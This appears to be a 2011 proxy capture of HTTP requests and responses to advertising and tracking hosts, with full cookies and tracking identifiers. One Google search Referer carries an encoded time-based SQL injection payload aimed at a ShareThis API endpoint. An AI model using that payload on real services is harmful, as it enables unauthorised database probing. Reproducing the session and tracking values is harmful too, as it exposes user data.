Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.1; C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|530739.4dab7d35-b1d2-915a-d3c0-9d57f9c66b07.0|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.1; cr=2|1|-8588966416881931568|1; V=wOebwAz4UvVv; FC1-WC=^53620_1_2QLwy

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
CW-Server: cw-web84
Set-Cookie: V=wOebwAz4UvVv; Domain=.contextweb.com; Expires=Mon, 30-Apr-2012 22:33:36 GMT; Path=/
Set-Cookie: cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F05%2F2011%3BEXPD1; Domain=.contextweb.com; Expires=Sat, 09-Apr-2016 22:33:36 GMT; Path=/
Content-Type: image/gif
Date: Fri, 06 May 2011 22:33:35 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 49

GIF89a...................!.......,...........T..;

GET /red/p.json?rb=2&gen=1000&gen=100&sid=4dc4e03312c53e71&callback=_ate.ad.hrr&pub=xa-4aa4857d5e87e10e&uid=4dab4fa85facd099&url=http%3A%2F%2Fwww.clone-systems.com%2Fecommerce%2Fproducts%2FPenetration-Testing-On-Demand.html&ref=http%3A%2F%2Fwww.clone-systems.com%2Fecommerce%2Fcategories%2FPenetration-Testing%2F&v16xwn HTTP/1.1
Host: cf.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh41.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; di=%7B%7D..1304471550.1FE|1304471550.1OD|1304471550.60; dt=X; psc=2; uid=4dab4fa85facd099; uit=1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Expires: Sat, 07 May 2011 01:17:42 GMT
Set-Cookie: di=1304471550.60|1304471550.1OD|1304471550.1FE; Domain=.addthis.com; Expires=Mon, 06-May-2013 01:17:42 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Mon, 06-Jun-2011 01:17:42 GMT; Path=/
Content-Type: text/javascript
Content-Length: 161
Date: Sat, 07 May 2011 01:17:41 GMT
Connection: close

_ate.ad.hrr({"urls":["http://p.addthis.com/pixel?pixelID=57148&partnerID=115&key=segment"],"segments":["1NE"],"loc":"MjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NDAwVg=="});

GET /AVE/go/173511812AD54EE6ABF0CBB5D825DA4F/direct/01?_kk=6713825b-9989-43cb-8a7b-5c5635138b40&_kt=6426467207&gclid=CMm21t3V1KgCFcPd4AodU3_CiA HTTP/1.1
Host: clk.atdmt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1303072666-9018543; MUID=B506C07761D7465D924574124E3C14DF; ach00=903d/120af:fb75/120af:e2ff/25d1:d2ca/12b1e:a6ff/1ca6a:e29b/1c5b3:11d81/27298:de5a/4e97; ach01=2a0cb15/120af/57ac7cf/903d/4db39163:b9e90a8/120af/f1fa4b0/fb75/4db416f0:c46edc2/25d1/128fabed/e2ff/4db8a484:cbb7115/12b1e/130edf9b/d2ca/4dbdeda3:7162b37/1ca6a/96559b2/a6ff/4dbeeff6:c6fbf53/1c5b3/1235eb22/e29b/4dbef4f2:ae669bf/27298/ffed956/11d81/4dbef65d:80cc648/4e97/af0b901/de5a/4dbf541a; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b2c&W=1; NAP=V=1.9&E=ad2&C=4Z4hoC0UMdOLFTOoUFdt8MycOkKr26b778UQ7Rv4sDujYgzPjPTdfw&W=1

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.secureworks.com/compliance/comp/pci.html?_kk=6713825b-9989-43cb-8a7b-5c5635138b40&_kt=6426467207&gclid=CMm21t3V1KgCFcPd4AodU3_CiA
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: ach00=903d/120af:fb75/120af:e2ff/25d1:d2ca/12b1e:a6ff/1ca6a:e29b/1c5b3:11d81/27298:de5a/4e97:903d/294e3; expires=Monday, 06-May-2013 00:00:00 GMT; path=/; domain=.atdmt.com
Set-Cookie: ach01=2a0cb15/120af/57ac7cf/903d/4db39163:b9e90a8/120af/f1fa4b0/fb75/4db416f0:c46edc2/25d1/128fabed/e2ff/4db8a484:cbb7115/12b1e/130edf9b/d2ca/4dbdeda3:7162b37/1ca6a/96559b2/a6ff/4dbeeff6:c6fbf53/1c5b3/1235eb22/e29b/4dbef4f2:ae669bf/27298/ffed956/11d81/4dbef65d:80cc648/4e97/af0b901/de5a/4dbf541a:c4717d7/294e3/12504287/903d/4dc49ebc; expires=Monday, 06-May-2013 00:00:00 GMT; path=/; domain=.atdmt.com
Date: Sat, 07 May 2011 01:22:03 GMT
Connection: close

GET /logging.php?ac=2546&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=&NS_ru=&NS_rn=22187&NS_js=1.6&NS_vp=http%3A//tours.sapha.com/%3Fscs_sid%3D2546%26scs_tid%3D25%26scscs%3D1&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=25&scscs=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33

HTTP/1.1 302 Found
Date: Fri, 06 May 2011 22:06:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08; expires=Mon, 03-May-2021 22:06:08 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

GET /logging.php?ac=1&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=Lead%20Generation%2C%20Lead%20Capture%20%26%20Website%20Conversion%20Systems%20from%20Sapha&NS_ru=&NS_rn=75869&NS_js=1.6&NS_vp=http%3A//www.sapha.com/&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 302 Found
Date: Fri, 06 May 2011 22:05:33 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_1_19=110076%7C2676570%7C2668748%7C2011-05-06+16%3A05%3A33; expires=Mon, 03-May-2021 22:05:33 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

GET /pxj?bidder=55&action=SetAdMarketCookies(%22AA002%3d1303072666-9018543660bb HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII-sEBEAoYCiAKKAowg_iG7gQQg_iG7gQYCQ..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG10Qgj[2<?0P(*AuB-u**g1:XICajEhzW()U9M1kUGf3$2.f0R>9.acl`F4%p2Nl.UXEE*e?s.KZk)1P8:JhD>3]0OXNzmEri$NP^zjJv16.uOiiIAJm'i/?`wtMan.OL7JR%9_Qi'sH?P8)dD_cwkfN=J6^G_S2VZyFVB)VG2Vw2thPTUbP<wWYepcQ?p3>xz(+n$Re8'MY-mhu#.Xt]9[@nN+Ds+7'8q_!*9MdOq3NdJdss.Hj'/sFJ<-+z3E0EE7j)M961RbGb1dj#L@[9dW/NyqWx!_x)fy):[Aa=QO!jG:eNKR)GNwxNn+ffW'EqWJgi1p9#uqJ2MdA<fq#d/OW8$mC<6O.FQ6^>L-!w71A$]900:P$P<mQfUC(KA9X.t8gFMHTn1=0S6u_D96a?e(y#41L9alTN8lk+phc8qcDDwI#ht*Ojk$^h/f:4!*=PA8ETumU6=Lq?'LZXd)U<toDTN:^atTHtT9bQ$L$A.Vxr9-Ty'Y$?/v<XcvtB4/?l*9vZEk.r)kLPE6cj7OE<Wt?Q*xbt7KIuF6C=Ld+zNWABEs>Sa5%-[[n4b1!c`

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 08-May-2011 11:30:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Fri, 05-Aug-2011 11:30:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Fri, 05-Aug-2011 11:30:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG10Qgj[2<?0P(*AuB-u**g1:XICajEhzW()U9M1kUGf3$2.f0R>9.acl`F4%p2Nl.UXEE*e?s.KZk)1P8:JhD>3]0OXNzmEri$NP^zjJv16.uOiiIAJm'i/?`wtMan.OL7JR%9_Qi'sH?P8)dD_cwkfN=J6^G_S2VZyFVB)VG2Vw2thPTUbP<wWYepcQ?p3>xz(+n$Re8'MY-mhu#.Xt]9[@nN+Ds+7'8q_!*9MdOq3NdJdss.Hj'/sFJ<-+z3E0EE7j)M961RbGb1dj#L@[9dW/NyqWx!_x)fy):[Aa=QO!jG:eNKR)GNwxNn+ffW'EqWJgi1p9#uqJ2MdA<fq#d/OW8$mC<6O.FQ6^>L-!w71A$]900:P$P<mQfUC(KA9X.t8gFMHTn1=0S6u_D96a?e(y#41L9alTN8lk+phc8qcDDwI#ht*Ojk$^h/f:4!*=PA8ETumU6=Lq?'LZXd)U<toDTN:^atTHtT9bQ$L$A.Vxr9-Ty'Y$?/v<XcvtB4/?l*9vZEk.r)kLPE6cj7OE<Wt?Q*xbt7KIuF6C=Ld+zNWABEs>Sa5%-[[n4b1!c`; path=/; expires=Fri, 05-Aug-2011 11:30:47 GMT; domain=.adnxs.com; HttpOnly
Content-Length: 43
Content-Type: image/gif
Date: Sat, 07 May 2011 11:30:47 GMT

GIF89a.............!.......,........@..L..;

GET /seg?add_code=impx-11262&member=30 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://allatsea.net/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII-sEBEAoYCiAKKAowg_iG7gQQg_iG7gQYCQ..; anj=Kfu=8fG10Qgj[2<?0P(*AuB-u**g1:XICajEhzW()U9M1kUGf3$2.f0R>9.acl`F4%p2Nl.UXEE*e?s.KZk)1P8:JhD>3]0OXTvN!yxE%+(uoie>W`_v8QfQ%yo5xj:Z3>gd/L60<:0H$58xf@TP8EN^Aa7.qES'cu)ziVp`aanbh'IXK_')9#*'OqB0__+7d).vaGpBe9>V?b=^3-#H@!=%>IE/HM`)s3*[`hUEAwY-atIxWZl:^crKe$Wt1spbWUvBdow<veb?3Uw`Qylwh>p+^c'w%R-eMV?4^a>]$!X9^RDTuLuZpl9=dIc4+hibOXVH]pX=n*N(IkV+>q<CtTaN9@TN[vcG0YnP[_kkdtZBM#*BPkSG*sGn'qtqEJRfmh/cT#?=zqiY3ojM*]3^))_1Y3qRhU>:L>>!Dl)nYWN]gI2[kI2tJIZ+8FY]jN]+3(Qs9TATHl_7jT6#4h1a$W8*.7q9]zqQE#xGPcCk0juhVuVnPk#`*0g?hvB@e$+*M!]Z7]Ptt.#jlw#oBt@MSlp@?XwWY[Zrh8s4X$Zn5(MSVl@QZq<pb6Inz$; uuid2=2724386019227846218; sess=1

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sat, 07-May-2011 21:06:48 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Thu, 04-Aug-2011 21:06:48 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Thu, 04-Aug-2011 21:06:48 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG2<rgj[2<?0P(*AuB-u**g1:XIBUIEhzW()U9M1kUGf3$2.f0R>9.acl`F4%p2Nl.UXEE*e?s.KZk)1P8:JhD>3]0OXNzmEri$NP^zk89j)%O%[Dq_qBiP:ZEtjuJe$ztL5<-PEKcujlYsG0Oi%Es_TfXqJ@b9)BNW$h4GQ'kB2sBmWI<!H%wwv6RMjuZgf]dy-qA:lfQD>k1VS*<Ds+7'8q^x)9OGo:*eHfDKw-eGPDE=7Y`p'*47rh)q#F[XU(h<CU!c+81]xA>Sq9y>vaE`!oi#9l24%8e!G9^o8qHu1d<wou'EE<Q4XP=qFe+1Pw8a5en>rpu!as4i.3)d0-*K_f-A5:TNh*`2#N=-)/H7@[Hfu@3PoN6?(L.Eac3uwVZ'IZLA`.ZC15pJ!+)d/XrHP1HGSupCXe=<4wn<IL%erqPAShL[Uy0[f]+>:LHv:_du%)*-+(fM0+(qUzu4@bIe>'Hf$qokH`1qa9g6+#6fEAq219Wb-V!8gUnpP@D[=[buY^B3d+0*$6%$=<17Gw'd5a]%#w#R0t!22N$.tmXG; path=/; expires=Thu, 04-Aug-2011 21:06:48 GMT; domain=.adnxs.com; HttpOnly
Location: http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1
Date: Fri, 06 May 2011 21:06:48 GMT
Content-Length: 0

GET /verify/EAAAAG_sa57vRYQmlm0gFHNkdu4.gif HTTP/1.1
Host: id.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=PCI+Scanning+and+PCI+Compliance+powered+by+Clone+Guard
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SNID=46=E_SNEpllEIM0mu8Tx9WZCn__1_oR5LOkxDVJs7IfNA=z61mkU6TUP6EuG26; NID=46=OWH5Day_z-dvNKz2zUPZ66bscqIQiXCwXcDUm788v-iY-VVDvGxPmnsbAFwU7P_idDvVtkqQwa_yvFS_xH-pHPbTamh5YBpBZYNPycAcjuWO2VSpk71uhgayNx6KcbrM; PREF=ID=0772c9d5ef13aaaf:U=e1fa6a1c985d530f:FF=0:TM=1303071569:LM=1304695017:GM=1:S=TtNIJs_fkMoJMWwR

HTTP/1.1 200 OK
Set-Cookie: NID=46=Ay0e2w2n3jC-m-k6SXDoS8UTfSUSpmmUkw5w4EnkIWdmSARAMvdk3JZ85Sk12X7KnWqtJmYUDWUTP7WVbbeKLpXxEUan1Z_zQ8RUYu8VYWQgSVKgD8i-D_XwsbskId3a; expires=Sun, 06-Nov-2011 01:15:24 GMT; path=/; domain=.google.com; HttpOnly
Cache-Control: no-cache, private, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: image/gif
Date: Sat, 07 May 2011 01:15:24 GMT
Server: zwbk
Content-Length: 43
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D..;

GET /verify/EAAAAOVhf5VMyylQCd7Y4m9Qwq4.gif HTTP/1.1
Host: id.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=GET+%2Fapi%2FgetApi.php%3Freturn%3Djson%26cb%3DgetPubGA_onSuccess%26service%3DgetPublisherDomains%26publisher%3D-111%2527%2520OR%2520SLEEP(25)%3D0%2520LIMIT%25201--%2B+HTTP%2F1.1User-Agent%3A+Mozilla%2F4.0+(compatible%3B+MSIE+6.0%3B+Windows+NT+5.1%3B+SV1%3B+.NET+CLR+1.1.4322)Cache-Control%3A+no-cacheHost%3A+wd.sharethis.comAccept-Encoding%3A+gzip%2C+deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SNID=46=0q_cRlN3FaLTWUdqKkl2WcfwjGvunxkxkwmHSo8dNA=YhUM70m4peP2kMIG; NID=46=OWH5Day_z-dvNKz2zUPZ66bscqIQiXCwXcDUm788v-iY-VVDvGxPmnsbAFwU7P_idDvVtkqQwa_yvFS_xH-pHPbTamh5YBpBZYNPycAcjuWO2VSpk71uhgayNx6KcbrM; PREF=ID=0772c9d5ef13aaaf:U=e1fa6a1c985d530f:FF=0:TM=1303071569:LM=1304695017:GM=1:S=TtNIJs_fkMoJMWwR

HTTP/1.1 200 OK
Set-Cookie: SNID=46=E_SNEpllEIM0mu8Tx9WZCn__1_oR5LOkxDVJs7IfNA=z61mkU6TUP6EuG26; expires=Sat, 05-Nov-2011 23:25:37 GMT; path=/verify; domain=.google.com; HttpOnly
Cache-Control: no-cache, private, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: image/gif
Date: Fri, 06 May 2011 23:25:37 GMT
Server: zwbk
Content-Length: 43
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D..;

GET /js/advancedaccess/safe-monitor.js?ps_h=dTmJ&ps_t=1304725193847 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.advancedaccess.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml"
Content-Type: application/x-javascript
Cache-Control: must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: vsid=wmi0souExiDc;Path=/;Domain=.providesupport.com
Content-Length: 2851
Date: Fri, 06 May 2011 18:39:55 GMT
Connection: close

var psdTmJsid = "wmi0souExiDc";
// safe-monitor@gecko.js

var psdTmJiso;
try {
psdTmJiso = (opener != null) && (typeof(opener.name) != "unknown") && (opener.psdTmJwid != null);
} catch(e) {
psdTmJi
...[SNIP]...

GET /js/charlesw/safe-standard.js?ps_h=u2TY&ps_t=1304725192651 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.eneighborhoods.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml"
Content-Type: application/x-javascript
Cache-Control: must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: vsid=Oq0ITgZJuzSN;Path=/;Domain=.providesupport.com
Content-Length: 5069
Date: Fri, 06 May 2011 18:39:54 GMT
Connection: close

var psu2TYsid = "Oq0ITgZJuzSN";
// safe-standard@gecko.js

var psu2TYiso;
try {
psu2TYiso = (opener != null) && (typeof(opener.name) != "unknown") && (opener.psu2TYwid != null);
} catch(e) {
psu2TY
...[SNIP]...

GET /tase/int?adv=206&fmt=redirect&sec=0&bizoid=3004,4024,2002 HTTP/1.1
Host: int.teracent.net
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=Mwf8VEP.X2PRIV; imp=a$le#1303349159766_32407932_ap2102_int|150#1303349107011_23701916_as2101_imp|; p150r=b$u-84#5.7Oy|c-t1_3X0PNEA9Ju0#1.7Oy|c-t2_3jnoWyampnx#1.7Oy|

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: p206r=b$u-3#5.7VA|c-2002#1.7VA|c-3004#1.7VA|c-4024#1.7VA|; Domain=.teracent.net; Expires=Thu, 03-Nov-2011 01:50:38 GMT; Path=/
Set-Cookie: imp=a$le#1304733038729_111974928_ap2101_int|150#1303349107011_23701916_as2101_imp|; Domain=.teracent.net; Expires=Thu, 03-Nov-2011 01:50:38 GMT; Path=/tase
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Type: image/gif
Content-Length: 43
Date: Sat, 07 May 2011 01:50:38 GMT
Connection: close

GIF89a.............!.......,...........D..;

GET /adcedge/lb?site=695501&srvc=1&betr=expediavis_cs=1&betq=10566=417781 HTTP/1.1
Host: leadback.advertising.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ACID=aw960013034229720018; aceRTB=rm%3DSat%2C%2021%20May%202011%2022%3A07%3A59%20GMT%7Cam%3DSat%2C%2021%20May%202011%2022%3A07%3A59%20GMT%7Cdc%3DSat%2C%2021%20May%202011%2022%3A07%3A59%20GMT%7Can%3DSat%2C%2021%20May%202011%2022%3A07%3A59%20GMT%7Crub%3DSat%2C%2021%20May%202011%2022%3A07%3A59%20GMT%7C; SESSece087221ae81b2ccde2334499ee4548=d138b6ea0107f86bc8ce8957059b7431; s_pers=%20s_getnr%3D1304388622973-New%7C1367460622973%3B%20s_nrgvo%3DNew%7C1367460622975%3B; GUID=MTMwNDU5OTE0NjsxOjE2cjRvcHExdHZsa21sOjM2NQ; C2=3tpwN5pqEIxFG/movUg3sYMFSKMCItdBwhQ3WXAcIsY4FAHCw3gBwhQ7NYAcIoLOGAHCKGeBwhwmhXAcI8eDGAHCdDmBwhwohXAcIQY4FAHCYimBwhA3WaAcIoa4FAHCA9qBwhgdeZAcI4fFGAHCbTeBwhwKOaAcIoN5FAHCC9qBwhwtZaAcIE0rGAHCFBqBwhQTaaAcIY4dGAHCNLqBwVrqFoxsGTRtrWQIzaIQRGQBg2cRpZm5IaYhxOSBsRpBB1I9IsfzF20i4WQBwWccmtCqGlHseWw7RaAgVSfBrLqxxNJUFQT2FAIruXQAzZAg0KXBbzqBAm6BF8sXGAIogZwrgYUBzWtBkoqxTN67GcNNGvYkAfwuRXEdum/BEOpxhOLUHsEpGzKq+fQoeZwsfO8BgwhhaX7/IUJtGhjZpTrRwFqFI09IG5Wo8iw5qYAcY6ACsMihNhAnjaYTIEv9F2E; F1=Bc3mC3kAAAAAmc1CAEAAJAgAAAAA6c1CAEAAJAABAAAABAAAAIAAgEA; BASE=Rgwq8yEw9v+atCAoEOaIRHpvOehiQ9Sa8LM+diGiDsajKw8yV1LAPA7+GvRiJhbJt6Hv50y77rIfdG5+2u/Wu4QL44U5Tp5J7h57WACK9DFolo7ZgEE+TO66LxZCWBHxwyDEc8c4CpMSJWcFkgw700b6zAWA9p1kL5hoC+WRIuMIIHq0xcOEQ9R2J3eAQ44q0qPrQrM!; ROLL=boAnr2C6PRAgcQG7fBnz6XH!

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 22:33:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV
